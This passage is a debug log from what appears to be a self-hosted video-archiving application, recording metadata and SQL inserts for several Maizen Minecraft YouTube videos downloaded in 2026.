JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5036, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", "id" => "9ZPbk2Unu8A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "playlist_index" => 9, "timestamp" => 1780714806, "title" => "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "upload_date" => "20260606"} 18:04:45.655 [debug] QUERY OK source="sources" db=0.2ms idle=967.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:45.655 [debug] QUERY OK source="sources" db=0.1ms idle=968.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:45.657 [debug] QUERY OK source="media_items" db=1.2ms idle=968.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-06 03:00:06Z], 2] 18:04:45.658 [debug] QUERY OK source="media_items" db=0.6ms idle=969.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "c7215ef2-4a76-45c5-93d8-3222d7831f7b", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", 9, "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-06 03:00:06Z], ~U[2026-08-20 01:04:45Z], ~U[2026-08-20 01:04:45Z], "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, 2, ~U[2026-06-06 03:00:06Z]] 18:04:45.658 [debug] QUERY OK source="sources" db=0.1ms idle=56.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:45.658 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:45.659 [debug] QUERY OK source="media_items" db=0.1ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [152861] 18:04:45.659 [debug] Current batch of media processed. Will check again in 1000ms 18:04:46.660 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 3796, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", "id" => "RxEEQdWqH10", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RxEEQdWqH10", "playlist_index" => 10, "timestamp" => 1780298214, "title" => "Minecraft, But One Person Dies Every Day...", "upload_date" => "20260601"} 18:04:46.661 [debug] QUERY OK source="sources" db=0.1ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:46.661 [debug] QUERY OK source="sources" db=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:46.662 [debug] QUERY OK source="media_items" db=1.2ms idle=1002.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 07:16:54Z], 2] 18:04:46.663 [debug] QUERY OK source="media_items" db=0.5ms idle=1003.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "c65a1b1b-b87e-4be0-98ea-1efdb76f42e6", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", 10, "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, false, false, 2, [], 98, ~U[2026-06-01 07:16:54Z], ~U[2026-08-20 01:04:46Z], ~U[2026-08-20 01:04:46Z], "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, 2, ~U[2026-06-01 07:16:54Z]] 18:04:46.663 [debug] QUERY OK source="sources" db=0.1ms idle=60.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:46.664 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:46.664 [debug] QUERY OK source="media_items" db=0.1ms idle=3.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141213] 18:04:46.664 [debug] Current batch of media processed. Will check again in 1000ms 18:04:47.470 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:47.665 [debug] Current batch of media processed. Will check again in 1000ms 18:04:48.666 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 857, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", "id" => "n5lwtRSwTqY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=n5lwtRSwTqY", "playlist_index" => 11, "timestamp" => 1780040554, "title" => "The Roulette of OP ITEM in Hide and Seek!", "upload_date" => "20260529"} 18:04:48.667 [debug] QUERY OK source="sources" db=0.2ms idle=1061.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:48.667 [debug] QUERY OK source="sources" db=0.2ms idle=980.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:48.669 [debug] QUERY OK source="media_items" db=1.3ms idle=980.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 07:42:34Z], 2] 18:04:48.670 [debug] QUERY OK source="media_items" db=0.6ms idle=982.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "10132122-c407-4113-bf0f-80c7738ad5c4", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", 11, "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, false, false, 2, [], 98, ~U[2026-05-29 07:42:34Z], ~U[2026-08-20 01:04:48Z], ~U[2026-08-20 01:04:48Z], "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, 2, ~U[2026-05-29 07:42:34Z]] 18:04:48.670 [debug] QUERY OK source="sources" db=0.1ms idle=64.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:48.670 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:48.671 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [128101] 18:04:48.671 [debug] Current batch of media processed. Will check again in 1000ms 18:04:49.672 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 2291, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", "id" => "m-eW0HpIFp0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=m-eW0HpIFp0", "playlist_index" => 12, "timestamp" => 1779774844, "title" => "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "upload_date" => "20260526"} 18:04:49.673 [debug] QUERY OK source="sources" db=0.3ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:49.673 [debug] QUERY OK source="sources" db=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:49.675 [debug] QUERY OK source="media_items" db=1.3ms idle=1003.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 05:54:04Z], 2] 18:04:49.676 [debug] QUERY OK source="media_items" db=0.6ms idle=1004.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "48d7daee-9467-44fa-9cf2-26b2872fab07", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", 12, "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-26 05:54:04Z], ~U[2026-08-20 01:04:49Z], ~U[2026-08-20 01:04:49Z], "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, 2, ~U[2026-05-26 05:54:04Z]] 18:04:49.676 [debug] QUERY OK source="sources" db=0.2ms idle=69.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:49.676 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:49.677 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [115031] 18:04:49.677 [debug] Current batch of media processed. Will check again in 1000ms 18:04:50.678 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1140, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", "id" => "G0WIo8d6jaQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "playlist_index" => 13, "timestamp" => 1779500499, "title" => "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "upload_date" => "20260523"} 18:04:50.679 [debug] QUERY OK source="sources" db=0.2ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:50.679 [debug] QUERY OK source="sources" db=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", 